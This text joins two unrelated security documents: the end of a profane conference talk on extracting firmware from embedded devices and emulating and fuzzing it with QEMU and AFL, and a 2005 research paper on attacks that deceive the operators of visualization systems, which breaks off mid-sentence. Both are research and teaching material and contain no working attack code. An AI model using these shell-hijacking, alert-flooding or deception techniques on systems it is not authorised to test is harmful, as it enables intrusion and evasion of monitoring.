going into the wild with a bowie knife and a jar full of your own piss Debugger? Fuzzer? Compiler? What are those? So, Option 1 is to treat it like any other UNIX system. Straight forward if you have a shell, you can start poking around. Often, however, you’re already going to have a root shell or something very close to it, as well as only a handful of tools. You’re not regularly going to get a debugger, compiler, even manpages. These devices are stripped to the bone. 35 Option 2: Black-Box it Lots of fun once you’re used to it or live service attacks. Safe: Never directly exposes you to “secrets” (IP) You don’t have the bowie knife, just two jars of piss. Option 2 is to black box the thing. This is turns your attack into any other straightforward service attack where you have no control over the device itself. IANAL, but it would seem that this has less likelihood of you stumbling upon something vendor-secret, such as leftover binaries not pulled from the development process. .Again, IANAL. If you think you might possibly have an inkling that you need a lawyer, get a fucking lawyer. 36 These options suck These options fucking suck though. It’s always better when you can investigate the whole goddamn binary. 37 Option 3: Reverse it Pull out IDA/Radare Grab a beer Learn you a new ISA The way of reversing IoT things that don’t run Linux! … but how the fuck do you get the binaries? So the obvious answer is to reverse it. Already familiar with cracking open X86 executables in IDA? Radare? Time to learn a new ISA, grab a beer, and play the same game but with hot fresh binaries. If your target executable talks with an external device that you can’t emulate, this is probably your stop. But how the fuck do we get the binaries? We’ll get to that. 38 Yeah but I’m fucking lazy, asshole. I don’t want to learn IDA. I want to fuzz. But I’m a lazy asshole, you say: I need that sweet sweet kernel debugger and AFL and the rest of my skid-cum-kernel-hacker tools! 39 Option 4: Emulate It You have every tool at your disposal Hot damn is that a debugger? Oh shit waddup it’s fuzzy boiii Once again, how the fuck do you get your binary of choice? You emulate it! Emulation is a perfectly reasonable approach to many of these challenges. You’ve got all your normal tools in most cases, or you can at least cross- compile them. But the issue still stands – how the ever fuck do you get your target binary? 40 Getting root(fs) Let’s get root, then. This can range from surprisingly easy to frustratingly hard, depending on the environment. Keep in mind rule 0 through this whole thing: Someone else has done something similar, probably. A few hours of googling and reading could save you many, many hours of head-scratching and anguished screams as you question the lineage of the engineers who designed a device. 41 Easy Mode: Update Packages Updates for devices are the easiest way to extract a root filesystem Sometimes little more than a filesystem/partition layout that gets dd’d right to disk Android updates are ZIPs containing some executables, a script, and some filesystems Newer android updates (small ones) are very regularly "delta" updates: These touch a known filesystem directly, and are very small but don't contain a full filesystem. Sometimes, rarely, they're an *actual executable* that gets run on the device Probably isn't signed Probably fetched over HTTP Downside: They’re occasionally very hard to find or are incremental, incomplete patches. Sometimes they’re encrypted. So, easy mode is, most often, updates! Updates can be the most direct way to get the binaries of interest, especially if there’s some new feature that’s being rolled out. Often, these updates contain whole filesystems, but sometimes they’re executables or binary patches against the blocks themselves. Sometimes, the bastards encrypt or obfuscate updates. 42 Medium: In-Vivo extraction You need a shell Can you hijack an administrative interface? Some ping functions can be hijacked into shells Sometimes it’s literally “telnet to the thing” Refer to step 0 for more You need some kind of packer (cpio, tar, etc) Find is a builtin for most busybox implementations. You need some way to put it somewhere (netcat, curl, etc) You might have an HTTPD to fall back on Need to do reconnaissance on your device Might need some creativity Wireshark, Ettercap, Fiddler, etc Next up is the Fuck it, we’re doing it live of getting files off a device. This will require a certain amount of creativity on your part as you’re living in a very barebones envinonment. Take the easiest way out possible. 43 Demo: Router firmware extraction (Actiontec Router) So let’s see what this looks like. 44 45 What did we get? Hot damn, those look like filesystems. 46 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” Next up is direct, complete extraction at the raw block level outside of the native environment. This could be as simple as pulling the SD card out and dumping that 47 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” And you’re looking at me like “okay asshole, tell me something I don’t know”. 48 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” But the number of devices that have these is astoundingly large. These are all devices, a game console, an “anonymity device” a first generation Kindle and a Kobo H2O. Many of these devices are just a Raspberry Pi with some added hardware on top. 49 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” eMMC is harder though, since you need to get to the data lines, but it can be done! You will need to understand how the disk is laid out Binwalk can help later, as can “standard” DOS partition tables. Having some in-vivo information is helpful eMMC devices make things harder though. eMMC is really similar to SD in that they share a common ancestor, there’s a few divergences that have been made to make the phone manufacturing industry happy. 50 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” eMMC is harder though, since you need to get to the data lines, but it can be done! You will need to understand how the disk is laid out Binwalk can help later, as can “standard” DOS partition tables. Having some in-vivo information is helpful More eMMC modules now are actually eMCP modules, where you have the eMMC module stacked in silicon alongside LPDDR. 51 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” eMMC is harder though, since you need to get to the data lines, but it can be done! You will need to understand how the disk is laid out Binwalk can help later, as can “standard” DOS partition tables. Having some in-vivo information is helpful eMMC readers are readily available. They come in all shapes and sizes and even have USB versions. eMMC cards still talk the same protocol that MMC cards talk, and are thus compatible with SD cards! 52 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” eMMC is harder though, since you need to get to the data lines, but it can be done! You will need to understand how the disk is laid out Binwalk can help later, as can “standard” DOS partition tables. Having some in-vivo information is helpful http://blog.oshpark.com/2017/02/23/retro-cpc-dongle/ This also means you can be like this crazy bastard and make your own SD card adapters for eMMC devices. 53 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” eMMC is harder though, since you need to get to the data lines, but it can be done! You will need to understand how the disk is laid out Binwalk can help later, as can “standard” DOS partition tables. Having some in-vivo information is helpful eMMC devices are also more common in industrial applications, as their lack of a physical interconnect means they can be potted and conformal coated. They survive higher temperatures, more reads and writes than your typical consumer SD card, and are generally meant for more abuse. These devices here are just two examples of Raspberry Pi clones – compatible ones, even – which are built around eMMC devices. 54 Surprise Mode: Direct Extraction Could be as simple as “remove SD card, image it” eMMC is harder though, since you need to get to the data lines, but it can be done! You will need to understand how the disk is laid out Binwalk can help later, as can “standard” DOS partition tables. Having some in-vivo information is helpful All Else Fails: Solder to the rescue Might need to desolder some storage, or otherwise physically attack the hardware MTD devices are weird. Prepare to get your hands dirty Interested in more? HHV and friends are the place to start looking. JTAG, etc. might be the hard way out. In the end, you may have to go out of your way and start sniffing around the device to try and find what’s going on. Your device might need a whole bunch of fun. If you think this could be you, It’s time to go to the Hardware Hacking Village and learn you a Thing. Hardware is a whole different special chunk of fun that we won’t get into because that rabbit hole is deeper than some young men at a street fair in late September. 55 Logic Analyzers Salae makes a good one Cheap Basic Runs over USB It might be time to get a logic analyzer. There’s plenty of cheaper, USB based ones that are more than capable . 56 Hardware interfaces https://www.crowdsupply.com/excamera/spidriver http://dangerousprototypes.com/docs/Bus_Pirate Devices like the Bus Pirate and SPIDriver are convenient hardware bridges for the wide, wide world of hardware peripherals that let you bridge the gap. Sure, laptops have SPI and I2C but they’re not easily accessible as a platform. These sorts of devices are amazing ways for you to mumble with hardware. 57 Now that we have that, what do? Try mounting it/extracting it/etc. `file` might give you a good idea of what it thinks it might be, as will `strings` and the like. eMMCs sometimes have real partition tables SD cards often do Look at the reconnaissance you did Boot logs: lots of good information about partitions Fstab, /proc/mounts So now we have the root filesystem, or a dump. It’s time to start digging around. 58 Let automation do your work Binwalk! Takes a rough guess at what might be in a place Makes educated guesses about filesystems High false positive rate Photorec might be helpful Get creative Losetup and friends are capable of more than you give them credit for. There are a lot of filesystems that are read-only or create-and- read, like cramfs and such. These are often spotted by binwalk but are even sometimes seen as lzma or other compressed or high-entropy data If you’re only looking to play in IDA/Radare/etc, the bulk extraction from binwalk might help. The biggest thing that you should get in the habit of is finding automation tools that work for your use case. Binwalk is the classic tool for this. It makes rough, educated guesses and spits out more guesses. It has a fairly high false positive rate, but a fairly low false negative rate, which makes it fairly useful in finding what could be hiding under there, so long as you can dig through the dirt. Tools like Photorec, losetup, etc. are sometimes useful in their own right: These sorts of tools have a little bit of smarts baked in that can be really helpful. There are compressed filsystems that binwalk will ignore that other tools will totally be happy to consume. Your worst case is that a tool makes your working directory a bit of a mess. 59 QEMU: the Quick EMUlator QEMU is a fast processor emulator for a variety of targets. Targets you’ve never heard of? Mainframes ARM, MIPS PowerPC OpenRISC DEC Alpha Lots of different ports and targets have been ported. However, this brings us to one amazing chunk of automation: QEMU. QEMU is a fast emulator for a variety of different platforms, letting you do stupid shit like 60 Did someone say “OSX on Amiga hardware”? Run Mac OSX 10.4 on an Amiga 61 Or Haiku on BeOS? Or run Haiku on BeOS. Or, alternately, more practical things. 62 Two ways to run QEMU AS A FULL FAT VM You preserve full control over the whole process You’ve got access to things like gdb at a kernel level Requires zero trust in the safety of the binary But you probably want a special kernel and board setup, though there are generic setups to get you started Any tools are going to need to be compiled for the target environment I hate cross-compilers. AS A TRANSLATING LOADER You have access to all your existing x86-64 tools (or whatever your native tools are) They’re not only native, but they’re running full-speed. You can run AFL like it’s meant to Runs nicely in containers You don’t even need a container! QEMU has two general modes: A full-fat VM, like we just saw, or as a translating loader in Linux. Your device turned out to be X86 but you’re a paranoid person and don’t feel like letting it touch the real hardware directly? Full fat VM. Hell, even PowerPC can get in on the game. As a loader, it makes those weird executables from that hot new device look like any other executable. 63 Full-Fat VM: 9 tracks of DOS Here we see QEMU running as a full VM, running MSDOS 6.22 and interfacing with real hardware, a gigantic Overland Data 9 track tape drive. I used this to dump Data General AOS boot and install tapes. 64 Binfmt: Linux’ way of loading executables Long ago, Linux added loadable loaders Originally for the purposes of running JARs from the command line like God and Sun Microsystems intended. Turns out this is a great place to put emulators. Debian ships with support for this in its binfmt-misc package. QEMU can be shipped as a “static userspace” environment (think WINE) Uses “magic numbers” – signatures from a database – to determine which ones are supposed to load what. Fairly simple to add new kinds of binaries. You could actually execute JPEGs if you really wanted to? So let’s talk about Linux’s loader. Ever wondered why you can call Mono and WINE executables directly from the command line? Simple, it’s the loader framework. Originally so that you could call JARs directly, it’s now fairly trivial to add new kinds of “executables” to Linux. 65 QEMU as loader WITHOUT A CONTAINER Dumb simple to set up: qemu-whatever-static <binary> With binfmt, just call your binary. Must trust that the executable is not malicious Might depend on your local environment looking like its target environment This works best for static, monolithic executables WITH A CONTAINER Bring that whole root filesystem along! Run it in the confines of a jail, Docker instance, even something like Systemd containers Might need root depending on your container (systemd) Great for when your binary loads its own special versions of libraries that have weird things added to them As a loader, it comes down to two options: With or without containers. Without a container, you’re going in raw with no protection. If that executable decides to do something terrible to you, it’s totally going to do it. On the other hand, containers are a totally reasonable option. Using containers means that you have some amount of wall around a possibly malicious application, or something that needs weird library setups. As long as Linux can call the loader, it’s all fine. 66 To give you context on what you’re going to see next, this is the hardware most software expects. Not a laptop running a VM running QEMU. 67 QEMU user Demo Here we see QEMU running S390x executables from Alpine Linux, doing a full boot, then just running a shell from the ArmArch64 68 AFL setup Oh boy. Let’s talk about AFL. AFL needs to compiled with QEMU support Magic sauce: CPU_TARGET=whatever ./build_qemu_support.sh AFL needs to bring along the host’s libraries Easiest bound with systemd-nspawn Don’t do this in a VM It hurts In my outline, I promised a demo of AFL. AFL needs a bunch of setup. I had to compile AFL under Debian, pull over a bunch of libraries from the local side, then pass in some environment arguments. Why am I going to these great lengths? I’m running it into the container that all the s390x executable lives in, which is under Alpine’s version of musl libc. 69 AFL Demo 70 Wrapping up What did we learn today? Hardware vendors are lazy Attacking hardware means getting creative QEMU is pretty neato AFL runs really slow when you’re emulating an X86 emulating an IBM mainframe. Going forward: I hope I’ve given you some idea of the landscape of tools Always remember rule 0 71 More Resources Non-Linux targets: RECON 2010 with Igor Skochinsky: Reverse Engineering for PC Reversers: http://hexblog.com/files/recon%202010%20Skochinsky.pdf JTAG Explained: https://blog.senr.io/blog/jtag-explained https://www.blackhat.com/presentations/bh-europe- 04/bh-eu-04-dehaas/bh-eu-04-dehaas.pdf https://beckus.github.io/qemu_stm32/ (among others) Linux targets: eLinux.org – Fucking Gigantic wiki about embedded Linux. linux-mips.org – Linux on MIPS 72 Thank you Keep on hacking. 73
pdf
Attacking Information Visualization System Usability Overloading and Deceiving the Human Gregory Conti Mustaque Ahamad John Stasko College of Computing College of Computing College of Computing Georgia Institute of Technology Georgia Institute of Technology Georgia Institute of Technology ABSTRACT Information visualization is an effective way to easily comprehend large amounts of data. For such systems to be truly effective, the information visualization designer must be aware of the ways in which their system may be manipulated and protect their users from attack. In addition, users should be aware of potential attacks in order to minimize or negate their effect. These attacks target the information visualization system as well as the perceptual, cognitive and motor capabilities of human end users. To identify and help counter these attacks we present a framework for information visualization system security analysis, a taxonomy of visualization attacks and technology independent principles for countering malicious visualizations. These themes are illustrated with case studies and working examples from the network security visualization domain, but are widely applicable to virtually any information visualization system. CR Categories: H.5.2 [Information Systems]: Information Interfaces and Presentation - User Interfaces; C.2.3 [Computer- Communication Networks]: Network Operations: Network monitoring; C.2.0 [Computer-Communication Networks]: General - Security and Protection Keywords: malicious visualizations, usability attacks, denial of information, secure visualization, information visualization 1 INTRODUCTION Information visualization systems used for decision making must be designed with security in mind. Such systems are vulnerable to attack, either from malicious entities attempting to overwhelm, mislead or distract the human viewer or from non-malicious entities that accomplish the same result by accident. Some might believe that today’s systems are not potential targets for attack. Clearly there are many domains where security is of minimal importance, but increasingly information visualization systems are being used to support critical decision making. For example, intelligence analysis, law enforcement, network security and business decision-support systems exist in an adversarial environment where it is likely that malicious entities are actively attempting to manipulate human end users. We believe that there is a clear threat today and there will be a growing problem into the foreseeable future. For information visualization systems to maintain relevance security must be considered. Information visualization systems inherently have the human tightly coupled in the system loop. In most cases, the human is the decision maker who will act upon (or not act upon) the information presented and, as a result, the human is a high-payoff and likely target. Any point in the information visualization system may be attacked, from data collection to processing to final visualization, in order to impact human interpretation. A “minor” compromise of a single bit may have significant impact on the human (consider a change in the foreground color of a scatter plot to the background color). Major compromises may have far greater impact. Our primary goal is to identify these threats and vulnerabilities, as well as develop principles to counter or mitigate these attacks. By identifying the threats and weaknesses of their system, designers can make appropriate decisions to mitigate these vulnerabilities. To see a sample attack in action, consider a visual intrusion detection system designed to supplement classical anomaly-based and signature-based intrusion detection systems. Such systems are typically co-located with a firewall at the border between the internal institutional network and the public Internet. This vantage point allows the system to observe and collect selected data from network traffic at entry and egress from the internal network. Our example system collects header data from network traffic and visualizes it in real-time. In particular, it captures the source and destination addresses of communicating network nodes, network protocols in use, source and destination ports (used for process to process communication across an Internet Protocol (IP) network, e.g. port 80 for a web server) as well as calculates a timestamp for each record. An adversary may easily inject arbitrary data into the visualization system, intermingled with legitimate users’ traffic, due to weaknesses in current networking protocols. In our example, the adversary knows the system operator on the night shift is red-green colorblind. They also know that the default settings on the visualization system map the very common (99+% of traffic) Transmission Control Protocol (TCP) to green, the User Datagram Protocol (UDP) to blue and the Internet Control Management (ICMP) protocol to red. In addition, the attacker knows that the target node has serious ICMP and UDP vulnerabilities. The attacker waits until late in the operator’s shift and launches an ICMP based attack. The already tired operator does not notice the red packet amidst the much greater noise of green packets. In this case, the attacker took advantage of the visualization system’s color mapping to target a specific user, but many other techniques could have been used. We will describe and illustrate these attacks in later sections. To help combat usability attacks against visualization systems this work includes several novel contributions: a framework for information visualization system security analysis, a taxonomy of malicious attacks as well as technology independent principles for designing information visualization systems that will resist attack. We illustrate and validate these contributions with results from the design, implementation and real-world use of a visual network intrusion detection system [1]. Copyright is held by the author/owner. Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee. Symposium On Usable Privacy and Security (SOUPS) 2005, July 6-8, 2005, Pittsburgh, PA, USA. Information visualization systems are potentially vulnerable to a wide spectrum of attacks ranging from overt to subtle. An obvious attack is to simply corrupt the data. Akin to a denial of service (DoS) attack, an attack of this nature is likely to be immediately noticed by human users. While significant, in this work we are concerned with the more subtle denial of information attack [2]. Denial of information (DoI) attacks target the human by exceeding their perceptual, cognitive and motor capabilities. They reduce the ability of a human to acquire desired information. Even if a traditional DoS attack against a machine is not possible, the human utilizing the machine to process information may still succumb to a DoI attack [3]. Typically much more subtle (and potentially much more dangerous), DoI attacks can actively alter the decision making of human visualization system users without their knowledge. More specifically, for any visualization system, if an attacker can inject data into the dataset being visualized, or otherwise alter the dataflow, there exists the potential to exploit vulnerabilities in the human or the machine system. This exploitation can be used to accomplish some or all of the following high-level goals (inspired by well-established military information operations doctrine [4]): • Mask a change in objects or actions that the system user has observed. • Block the system user's perception and/or identification of objects or actions being introduced into the visualization system. • Reinforce the system user's preconceived beliefs. • Distract the system user's attention from other activities. • Overload the visualization system or user’s data collection and analytical capabilities. • Create the illusion of strength where weakness exists. • Create the illusion of weakness where strength exists. • Accustom the system user to particular patterns of behavior that are exploitable at the time of the malicious entities choosing. • Confuse the system user’s expectations about an object’s attributes and actions. In particular, to effect surprise in these areas. • Reduce the system user's ability gain situational awareness and effectively make decisions. To accomplish these goals, we make a key assumption: malicious entities may insert data into the dataset being visualized as well as deny access to, corrupt or alter the timeliness of data generated and communicated by networked data sources. We believe these assumptions to be reasonable. Many visualization systems gather information from potentially untrustworthy sources (such as unauthenticated Internet users or physically insecure sensors). In addition, data integrity and data availability are likewise susceptible to manipulation both in storage and in transit. Current cryptographic techniques can, if properly implemented, protect the integrity of data, but cannot guarantee availability. Consider that a small network device in the path of data flow can slow down or speed up transmission of sensor data despite cryptographic protection. Even more simply, a sensor could be unplugged at tactically important times. Given these assumptions, it is important to note that we will not concentrate on the more traditional, non-malicious problems associated with designing information visualization systems as we believe they are currently being addressed. In most cases the problem of DoI attacks will remain even if these issues are addressed. Nor will we address general system attacks designed to broadly compromise as this is well addressed by the systems security community. We argue that the ultimate goal of attacks against information visualization systems is to overload and deceive the human end users and force them to make incorrect conclusions and to take incorrect actions -- the exact antithesis of the goal of most information visualization system designers. This manipulation can be accomplished in a variety of ways, but ultimately these attacks corrupt data or alter dataflow in some way. They may occur quickly or over a long period at a barely perceptible, low level. The manipulation may take place at data generation, in transit over a communication network, at rest on a data storage device or during processing by a visualization engine. Attacks may be aggressive and essentially deny productive use of the system or may be subtle and covertly mislead. Either way, the result of an attack is an inaccurate picture as interpreted by the human end user. We have extensively reviewed these attacks and, for purposes of this paper, we will place emphasis on the more subtle attacks, but will also provide coverage of interesting more aggressive attacks. Aggressive attacks are almost certain to be noticed, but subtle attacks are more insidious and may be overlooked for an extended period of time. As a result, the negative impact of these attacks may be far greater. The threats to information visualization systems are legion. Attackers may range from trusted internal users to external competitors and be motivated by competitive advantage, curiosity, intelligence gathering, notoriety, intellectual challenge or financial gain. To counter these attackers we argue that the only path to secure systems is via a thorough understanding of the possible threats and countermeasures. An effective technique to help secure systems is to conduct a threat analysis. Typically, this analysis includes the following elements: identifying assets you wish to protect, brainstorming known threats to the system, ranking the threats by severity, choosing how to respond to threats and choosing techniques and technologies (if any) to mitigate the threats [5]. We will include these elements during the course of the paper. Section two of this paper discusses related work and places it in the field of current research. Section three presents a general framework for information visualization systems security analysis and identifies critical assets. Section four presents a detailed taxonomy of attacks. Section five provides countermeasures in the form of technology independent principles for information visualization designers to protect their systems and users from attack. Section six presents our conclusions and directions for future work. 2 RELATED WORK The uniqueness of this work stems from the comprehensive analysis of the weaknesses of visualization systems, and their supporting data flow, including: data sources, data communications, data storage, processing, presentation and human interpretation. A novel taxonomy of attacks is presented as well as a technology independent set of design principles to assist in countering such attacks. While each information visualization system and technique has inherent strengths and weaknesses (see [6] for an excellent survey) most authors do not examine the potential of a malicious entity acting upon the system. The field of information warfare and the related fields of psychological warfare, propaganda and battlefield deception do include the notion of external malicious entities. In general, these fields seek to use deliberately false or misleading information to change people’s understanding through deception and confusion rather than persuasion and understanding [7]. In particular, the techniques of distraction, misinformation and disinformation are quite relevant, but do not specifically address information visualization. We will consider these applications in our work. Information visualization, as an area, involves analysis of data sets in which the data is more abstract in nature, having no natural physical or geometrical representation [8]. Examples of data domains common to information visualization include statistics, financial data, text, and software. Research into the manipulation of information visualization systems is relatively uncommon, however. The VizLies special session of several IEEE Visualization conferences did address malicious visualization, but only in an informal manner, as entertainment at evening social functions. Several researchers have more formally considered the notion of malicious visualizations. Tufte addressed such concepts as the “lie factor,” disappearing baselines, the difference between height and volume in pictograms, misleading or missing scales, missing data, design dominating the data and the effect of 3D graphics on correct interpretation [9,10,11]. All are valid, but anecdotal, instances of malicious visualizations. Tufte further explores the boredom, wasted-time and degraded quality and credibility of communication by incorrectly utilizing PowerPoint presentation software [12,13]. While there are some interesting characteristics relevant to malicious visualizations (e.g. degraded quality of information and wasted time), these essays deal with the limitations of PowerPoint presentations in a non-interactive speaker to audience scenario. Books such as How to Lie with Charts [14] and How to Lie with Statistics [15] also explore techniques to design presentations and reports that mislead audiences or readers. In a similar vein, researchers such as Globus [16] and Bailey [17] focus on how system creators can massage their results to mislead audiences. Rogowitz considered the application of perceptual rules to preventing “lying with visualization.” He did not consider external malicious entities [18]. From our perspective, the primary limitation of these works is that they focus on techniques the creator of the visualization system, business presentation, advertisement or statistical report can use to manipulate their audience. Our work assumes that this is not the case and that the creator of the information visualization system is non-malicious. Our malicious entities attempt to attack the system itself, it’s data and the human attempting to utilize it. They are not the owners or creators of the system in question. 3 SYSTEM MODEL To best understand how attackers can accomplish the high-level goals presented in section one and to analyze how malicious visualizations manifest, we developed a generic producer- consumer information visualization system using a holistic systems approach (Figure 1). This architectural overview is useful for identifying assets by decomposing visualization systems and applications. The results can then be used to identify and prioritize the implementation of countermeasures. The consumer is a combination of a human and machine. The machine presents the information to the human using a visualization method that relies on one of the human’s senses (typically vision). The human interacts with the interface using motor and speech commands and will draw conclusions based upon the information presented. The producer is the source of the data that will be visualized. In some cases, the producer will include a human who interacts with an information system to produce all or a portion of the data that will ultimately be visualized. In other cases, the producer will consist of only an information system that generates the data. No human is directly involved in data production (e.g. a sensor network). The producer may be co-located with the consumer, but it is more likely that the producer will need to communicate the data to the consumer via a communication channel. Figure 1. Generic producer-consumer information visualization system. Attacks influence any component, but the human end-user is the ultimate target. Each human and machine component processes data using subcomponents with finite resources. Attacks can target any of these resources. For the human, we chose to model these resources based on the Model Human Processor (MHP) architecture: short term memory, long-term memory, cognition as well as perception and motor processing [19]. For each machine, we used the common information systems model of machine resources: processing, short-term storage (RAM) and long-term storage (typically optical or magnetic storage media). The human and its associated information system interact through the classic human-computer interaction boundary. The human utilizes vision, hearing, speech and motor actions to interact with the information system. Other senses (e.g. touch and smell) are not shown in the model, due to the limited availability of effective interface technologies. The information system provides related input/output devices that support each of these human capabilities (e.g. CRT, speakers/sound sub-system, microphone, keyboard and mouse). 4 INFORMATION VISUALIZATION ATTACK TAXONOMY While attacks may range from overt to subtle, they share several common properties: they attempt to influence how you visualize, what you visualize or when you visualize. To this end, we present a taxonomy of attacks that follows the flow of information from human consumption back to initial data generation. We have developed a comprehensive taxonomy of attacks, but for purposes of this paper, we provide a representative overview of the taxonomy and illustrative examples to highlight the vulnerabilities and surprisingly effective exploits of traditional information visualization systems. We have chosen to follow the information flow from the human back towards data generation, believing that Target Attacks Possible Countermeasures Perceptual Buffers Force desired colors to be used Force smaller font Review annotation algorithms Limit range of colors, sizes allowed. Review preattentive literature for best interface objects Short Term Display updates too rapidly Compensate with buffers in visualization system. Memory Long Term Aggregation hides important detail Scaling lacks detailed enough resolution Attack paging of visualizations Lack of long term overviews Background images of historical data Use of paged and side-by-side images and overlays. Create smart book of visual signatures Processing Cognition Cognitive Processing Degrade trust in system Attack when human is not watching Cry wolf Visualization software causes poor conceptual model Display visualization’s source data Create visual log files Ambient Visualization Input Vision Causing occlusion of visual elements to conceal or manipulate visual presentation Inserting random noise into visualization Force less detailed scaling Occlusion of visualization elements Color choices impact color blind user Develop alternative visualizations and views of data Include customizable filters Provide multiple coordinated views of data Choose smart default settings Human Output Motor Cause alert which forces user motor response (e.g. clicking an OK button) Force the user to scroll UI requires unnecessary actions Review improved triggering mechanisms Explore alternative interface designs Table 1: Denial of information attack taxonomy illustrating representative attacks by model human processor target this is an intuitive and natural way to illustrate an interesting spectrum of attacks. We will use the components along the path (see Table 1) to illustrate how and when attacks may manifest. Attacks may influence any component, but the human end-user is the ultimate target. 4.1 ATTACKING THE HUMAN Humans are vulnerable targets with finite resources to perceive, interpret and act upon information. Attackers consume these resources through information visualization systems by altering the accuracy, completeness, consistency and timeliness of information flows. By focusing on human limitations these alterations create incomplete, ambiguous or incorrect visualizations that result in frustrated analysis, reasoning and decision-making. These malicious visualizations increase complexity, alter or destroy patterns, distort sequences and disrupt exploratory tasks which in turn may cause confusion, disorientation, disbelief, distraction or lack of trust. While not necessary, the effectiveness of attacks can be enhanced by specifically targeting individuals and their unique set of weaknesses and predispositions (consider our colorblind user from Section 1). The following sections examine attacks against the human using a slightly streamlined version of the Model Human Processor (MHP) model of cognitive processing, memory, vision and motor resources [18]. 4.1.1 Attacking Human Memory Humans possess a limited ability to remember information over short and long periods of times. Arguably, humans can remember 7 +/- 2 “chunks” over a short period [20]. Regardless of the exact number, the human has a finite capability to retain and recall information. By exploiting this limitation an attacker can greatly increase their likelihood of success. These attacks may manifest themselves gradually such that the user fails to see the pattern. Alternatively attacks may target the users ability to recall legitimate activity to the detail required to detect malicious activity. Figure 2 illustrates this limitation. This system, designed by the authors, attempts to provide a semantic zooming capability [21] for network traffic by allowing the user to view network information at variety of different scales from course grain overviews to high-resolution detail. The user selects the level of resolution using the scale on the right of the interface. Despite this attempt at allowing users to compare network traffic, it suffers from limitations of human memory. In our tests using the current configuration, users simply could not retain the context from one level to the next. Attackers could clearly exploit this weakness. To the best of our knowledge, no security visualization systems directly support the ability to closely compare images for subtle differences required to detect this class of attack. While Unix systems can use the diff command to compare text files, there is no equivalent visual diff. Likewise, there are no security visualization systems that allow users to seamlessly compare images in a side-by-side manner frustrating effective comparison. 4.1.2 Attacking Cognitive Processing Cognitive processing deals with how humans interpret information. By exploiting weaknesses in this processing, an attacker can mislead the human and obscure or camouflage attacks as well as lead users to incorrect conclusions, perhaps even frustrating the users to the point they abandon use of the system altogether. Attacks can target attention, perception of time, decision-making, pattern recognition and perception of color and shape. Attackers may increase cognitive complexity, add spurious packets to eliminate suspicious outliers or demand the attention of the user. The following sections illustrate representative cognitive processing attacks against human attention and perception. 4.1.2.1 Attention By their nature, information visualization systems require human attention. Depending on the design of the visualization and user interface the system may likely be tightly coupled with the user. It is impossible for a user to maintain 100% focus on their visualization system for long periods of time. Even a distraction lasting a few seconds can cause a user to miss key information. Alternatively, the attacker may overwhelm the user by demanding too much attention. “Cry Wolf” Attack: From the classic children’s story, an attacker can trigger activity, which in a normal scenario would require user attention. As a result, if the system “cries wolf” enough times the operator will begin to lose trust and may disable the system altogether. As an example, an attacker may subvert the snort intrusion detection system by creating packets that trigger alerts [22]. Snort alerts the user when it detects a signature in network activity that matches a known attack in its database. The snot tool is specifically designed to attack users through snort [23]. Utilizing snort’s database of signatures, snot can generate network traffic that matches alert rules. Using snot, an attacker can trigger an alert at will. Displacement Attack: Displacement attacks occur in visualizations where incoming data visually displaces older information. These visualizations are particularly susceptible to the limitations of human attention. Figure 3 is a network monitoring and intrusion detection visualization from the rumint system that displays network traffic in a scrolling display [24]. The bits of packets are plotted on the horizontal axis. As each packet arrives it is plotted one pixel lower on the vertical axis. When the display reaches the bottom of the display window, it begins plotting at the top of the display, overwriting previous contents. During the past year we have used this system in two operational settings. The first was with the Georgia Tech Figure 2. Semantic zoom visualization of network traffic. Honeynet and the second was with a dedicated commercial Internet Service Provider (ISP) residential connection. In both instances, the network connection is not used for any legitimate traffic thus only malicious activity is seen. Network packets typically arrive in small groups averaging one to five minutes per packet. Scrolling in these instances is typically not a problem, as approximately 24 hours of traffic can be seen before older information is overwritten (although we have seen spikes in traffic where network activity has been significantly greater). To test the time required for an attacker to scroll information off the page we conducted several experiments and found that it required only 2-3 seconds to overwrite information on one of our research machines (AMD 2500+, Windows XP, 1GB RAM, 100MB Ethernet). It is important to note that the theoretical limit based on network bandwidth alone is on the order of ten-thousandths of a second. We believe that a small lapse in attention on the order of seconds, even by a dedicated observer, is a reasonable possibility that an attacker may exploit to destroy traces of malicious activity. 4.1.3 Attacking Visual Perception Information visualization systems, and the great majority of interactive computing applications, rely heavily upon the human’s perceptual capabilities. Visual perception is the processing of input stimuli based upon reflected wavelengths of light from which our brain constructs internal representations of the outside world [25]. By taking advantage of the strengths and weaknesses of visual perception, an attacker can alter this internal representation. Consider the optical illusions from classic psychology. Given the same input image, different subjects might interpret the picture differently. In other examples, subjects are unable to correctly judge spatial relationships. See the work by Bach for 52 online examples [26]. Examples of other known weakness include a blind spot in the visual field, motion induced blindness [27] and a limited ability to discriminate between colors. Even adaptations, which can be considered strengths in some instances, become weaknesses when manipulated by an adversary, such as preattentive processing [28] and afterimages caused by light/dark adaptation [29]. Beyond simple manipulation, even more aggressive attacks are possible. Small delays in virtual reality visualization systems can cause queasiness [30] and fifteen to twenty frames per second of certain images can trigger photosensitive epilepsy. (see Section 4.1.5) Color Mapping Attack: The color mapping attack targets the use of color in visualizations. Humans have a limited ability to discriminate between colors, on the order of 300,000 colors [29]. Not all of these colors are interpreted as equivalent values, some are given heavier weight or draw more attention than others, and because color ranges are not uniform, normalization is used to help counteract the effect. See the work of Rogowitz and Treinish for an excellent discussion [18]. Most computing systems can present far more colors than a human can discern, 224 possible colors is typical on today’s hardware. Depending on the visualization system in use, features of the data are mapped, in a variety of ways, to colors used in the display. Limited display colors allow an attacker to hide activity due to aggregation. Large numbers of colors exceed or degrade the ability of humans to glean appropriate insights. It is due to these system presentation and human interpretation gaps that users are vulnerable, particularly when the system provides only a limited ability to customize colors for given tasks. Figure 4 comes from a visualization system created by the authors. It maps byte values from binary files to 256-level gray-scale pixels. In this example, the figure shows the file structure of two jpeg files. The left image is unaltered and the right image contains a steganographic message. Despite our ability to distinguish hundreds of thousands of colors, in our experiments, users were unable to find the modified bits. For future work we plan to pursue a visual diff tool, but the fact remains that for even a small number of colors, humans have difficulty in detecting differences. This weakness allows malicious entities to operate below the detectable threshold. Even the addition of a color legend is of little value. In a separate experiment we plotted network packets on a scatter plot using a commercial system. Even with only 100 different colors mapped to packet features (colors were chosen by the 